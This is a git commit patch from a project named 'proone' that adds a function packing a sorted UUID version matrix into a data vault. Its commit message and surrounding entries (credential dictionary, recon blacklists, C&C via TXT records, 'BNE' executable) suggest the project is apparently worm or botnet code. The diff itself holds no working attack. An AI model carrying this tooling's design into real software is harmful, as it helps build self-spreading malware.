From a72b876cf8f7c01ab2d3808a168ef16620498298 Mon Sep 17 00:00:00 2001 From: David Timber Date: Sun, 25 Jul 2021 18:40:16 +1000 Subject: Impl htbt M2M binary update and bug fixes ... * Change signature of tmpfile() cb * Add PRNE_DATA_KEY_VER_MAT * Add prne_try_alloc_iobuf() * Fix htbt: don't run cncp when both resolv and cnc_txtrec are not passed * Impl upbin cb on proone-bne * Fix proone-htbtclient: content of status frame was discarded * htbt is now responsible for setting FD_CLOEXEC on temp files * Changes in mttools for valgrind run * Add proone-test_iobuf * Fix event leak in resolv * src/test-resolv.sh: run proone-resolv on valgrind * Add prne_cmp_uuid_asc() and prne_cmp_uuid_desc() for version matrix * --- src/proone-mkdvault.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) (limited to 'src/proone-mkdvault.c') diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 962dcb6..1c281fa 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -142,6 +142,19 @@ static void gen_mask (uint8_t *out) { prne_free_imap(&q); } +static void add_ver_mat () { + static uint8_t VER_MAT[] = PRNE_VER_MAT; + static const size_t nb_e = sizeof(VER_MAT) / 16; + + prne_assert(sizeof(VER_MAT) % 16 == 0); + qsort(VER_MAT, nb_e, 16, prne_cmp_uuid_asc); + + ENTRIES[PRNE_DATA_KEY_VER_MAT].data = VER_MAT; + ENTRIES[PRNE_DATA_KEY_VER_MAT].size = sizeof(VER_MAT); + ENTRIES[PRNE_DATA_KEY_VER_MAT].type = PRNE_DATA_TYPE_BIN; + ENTRIES[PRNE_DATA_KEY_VER_MAT].set = true; +} + int main (const int argc, const char **args) { int callret; uint8_t mask[256]; @@ -189,6 +202,7 @@ int main (const int argc, const char **args) { add_bin(PRNE_DATA_KEY_RCN_BL_IPV6, PRNE_RCN_BL_IPV6); add_file(PRNE_DATA_KEY_CRED_DICT, args[1]); add_cstr(PRNE_DATA_KEY_EXEC_NAME, PRNE_BNE_EXEC_NAME); + add_ver_mat(); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); -- cgit